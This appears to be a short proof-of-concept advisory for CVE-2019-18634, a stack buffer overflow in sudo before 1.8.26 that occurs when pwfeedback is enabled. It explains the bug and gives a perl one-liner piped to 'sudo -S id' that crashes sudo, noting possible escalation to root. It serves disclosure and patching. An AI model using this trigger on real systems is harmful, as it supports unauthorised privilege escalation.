Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)




Joe Vennix







# Title: Sudo 1.8.25p - Buffer Overflow
# Date: 2020-01-30
# Author: Joe Vennix
# Software: Sudo
# Versions: Sudo versions prior to 1.8.26
# CVE: CVE-2019-18634
# Reference:

# Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting 
# their password. For each key press, an asterisk is printed. This option was added in 
# response to user confusion over how the standard Password: prompt disables the echoing 
# of key presses. While pwfeedback is not enabled by default in the upstream version of sudo,
# some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.

# Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow.
# This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled.

The folowing sudoers configuration is vulnerable:

    $ sudo -l
    Matching Defaults entries for millert on linux-build:
	insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail

    User millert may run the following commands on linux-build:

# Exploiting the bug does not require sudo permissions, merely that pwfeedback be enabled. 
# The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password.

    $ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
    Password: Segmentation fault

If pwfeedback is enabled in sudoers, the stack overflow may allow unprivileged users to escalate to the root account.